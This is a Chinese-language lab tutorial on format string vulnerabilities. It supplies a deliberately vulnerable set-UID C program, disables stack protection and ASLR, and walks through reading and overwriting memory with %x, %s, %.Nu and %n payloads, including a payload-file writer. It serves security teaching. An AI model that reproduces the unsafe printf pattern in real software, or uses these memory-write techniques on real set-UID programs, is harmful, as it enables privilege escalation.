格式化字符串漏洞实验
一、 实验描述
格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的，其中 user_input 是用户输入的数据，具有 Set-UID root 权限的这类程序在运行的时候，printf 语句将会变得非常危险，因为它可能会导致下面的结果：
- 使得程序崩溃
- 任意一块内存读取数据
- 修改任意一块内存里的数据（这种结果是非常危险的，因为它允许用户修改 set-UID root 程序内部变量的值，从而改变这些程序的行为）
本实验将会提供一个具有格式化漏洞的程序，我们将制定一个计划来探索这些漏洞。
二、 实验内容
2.1 实验一
户需要输入一段数据，数据保存在 user_input 数组中，程序会使用 printf 函数打印数据内容，并且该程序以root权限运行。这个程序存在一个格式化漏洞。让我们来看看利用这些漏洞可以搞些什么破坏。
在/home/shiyanlou/目录下，新建vul_prog.c文件，输入以下代码内容：
/* vul_prog.c */
#include <stdlib.h>
#include <stdio.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
long int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret's address is 0x%8x (on stack)
", &secret);
printf("The variable secret's value is 0x%8x (on heap)
", secret);
printf("secret[0]'s address is 0x%8x (on heap)
", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)
", &secret[1]);
printf("Please enter a decimal integer
");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string
");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("
");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x
", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x
", secret[0], secret[1]);
return 0;
}
程序说明：
程序内存中存在两个秘密值，我们想要知道这两个值，但发现无法通过读二进制代码的方式来获取它们（实验中为了简单起见，硬编码这些秘密值为0x44和0x55）。尽管我们不知道它们的值，但要得到它们的内存地址倒不是特别困难，因为对大多数系统而言，每次运行程序，这些内存地址基本上是不变的。实验假设我们已经知道了这些内存地址，为了达到这个目的，程序特意为我们打出了这些地址。
有了这些前提以后我们需要达到以下目标：
- 找出 secret[1] 的值
- 修改 secret[1] 的值
- 修改 secret[1] 为期望值
注意：因为实验环境是 64 位系统，所以需要使用 %016llx 才能读取整个字。但为了简便起见，对程序进行了修改了，使用 %08x 也能完成实验。
编译运行：
$ gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
$ sudo chmod u+s vul_prog
注：这里会报出一些警告 warning，可以忽略。
2.1.1 找出 secret[1]的值
1.运行 vul_prog 程序去定位 int_input 的位置，这样就确认了 %s 在格式字符串中的位置。
12和后面的 %016llx都是自己随意输入的， %016llx的个数最好在10个以上。
12的十六进制码就是0x000C，可以看到输出中12的十六进制在第8个位置上，这样我们就能确定格式化字符串的位置了。
2.输入 secret[1] 的地址，记得做进制转换，同时在格式字符串中加入 %s
可以看到 secret[1] 的地址是 0x602014 ，转换成十进制就是 6299668。
第八个位置上替换成 %s 就能打印出 secret[1] 的值了。
U 的 ascii 码就是 55。
2.1.2 修改 secret[1]的值
只要求修改，不要求改成什么。可以看到已经变成 0x77 了。
2.1.3 修改 secret[1]为期望值
要改成自己期望的值，比如改成十进制1000，手动填充1000太累了！这里可以用格式化字符填充。
从图上得知，secret[1] 的地址是 0x602014，换算成十进制就是6299668。
我们在第7位用%.897u这种设置精度的方式填充字符，897是怎么来的呢？
在 %.897u 前有 6 个 64 位地址，每个地址对应 16 个字符，加上逗号一共就是 6*(16+1)=102 ，在 %.897u 后面的地址上还有一个 , 占一个字符。所以一共是 102+1=103 个字符，要改成 1000 的话，我们就还差 1000-103=897 个字符。
0x3e8 的 10 进制就是 1000 。
2.2 实验二
现在修改vul_prog.c程序，把第一个scanf语句去掉，并去掉与int_input变量相关的所有语句，程序如下：
/* vul_prog.c */
#include <stdlib.h>
#include <stdio.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret's address is 0x%8x (on stack)
", &secret);
printf("The variable secret's value is 0x%8x (on heap)
", secret);
printf("secret[0]'s address is 0x%8x (on heap)
", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)
", &secret[1]);
printf("Please enter a string
");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("
");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x
", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x
", secret[0], secret[1]);
return 0;
}
同时在 xfce 终端使用 linux 命令设置关闭地址随机化选项：
sudo sysctl -w kernel.randomize_va_space=0
关闭地址随机化后，这样每次运行程序得到的 secret 地址就都一样了。
在 /home/shiyanlou 目录新建一个程序write_string.c。以下程序将一个格式化字符串写入了一个叫 mystring 的文件，前4个字节由任意你想放入格式化字符串的数字构成:
/* write_string.c */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char buf[1000];
int fp, size;
unsigned int *address;
/* Putting any number you like at the beginning of the format string */
address = (unsigned int *) buf;
*address = 0x113222580;
/* Getting the rest of the format string */
scanf("%s", buf+4);
size = strlen(buf+4) + 4;
printf("The string length is %d
", size);
/* Writing buf to "mystring" */
fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (fp != -1) {
write(fp, buf, size);
close(fp);
} else {
printf("Open failed!
");
}
}
编译 vul_prog.c 与 write_string.c：
rm vul_prog
gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
gcc -o write_string write_string.c
然后通过 write_string 程序将内容输入进 mystring 文件中，文件内容包括代码中加入的头四个字节和你之后输入的内容。
先运行 vul_prog 程序，输入 4 个 %016llx 。再运行 write_string 程序，输入 8 个 %016llx 和 1 个 %n ，此操作会生成一个 mystring 文件。然后输入如下命令：
./vul_prog < mystring
修改成功（0x8c ＝ 140 ＝ 8*16+8 个逗号+开头 4 个字节）。